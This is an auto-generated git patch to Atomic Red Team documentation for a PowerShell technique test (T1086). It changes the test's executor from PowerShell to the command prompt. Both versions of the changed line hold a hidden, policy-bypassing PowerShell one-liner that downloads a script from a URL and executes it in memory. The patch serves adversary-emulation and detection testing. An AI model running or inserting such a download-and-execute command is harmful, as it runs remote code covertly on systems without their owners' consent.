From 36b00a7d209d50a27581ea37317232a10cd92a20 Mon Sep 17 00:00:00 2001
From: CircleCI Atomic Red Team doc generator <email>
Date: Wed, 5 Sep 2018 18:58:23 +0000
Subject: [PATCH] Generate docs from job=validate_atomics_generate_docs
 branch=PowerShell-Executor.Command-Properties

---
 atomics/T1086/T1086.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/atomics/T1086/T1086.md b/atomics/T1086/T1086.md
index 2f166327..48851a65 100644
--- a/atomics/T1086/T1086.md
+++ b/atomics/T1086/T1086.md
@@ -165,9 +165,9 @@ Not proxy aware removing cache although does not appear to write to those locati
 |------|-------------|------|---------------|
 | url | url of payload to execute | url | https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1086/payloads/test.ps1|
 
-#### Run it with `powershell`!
+#### Run it with `command_prompt`!
 ```
-IEX -exec bypass -windowstyle hidden -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"
+powershell.exe IEX -exec bypass -windowstyle hidden -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"
 ```
 <br/>
 <br/>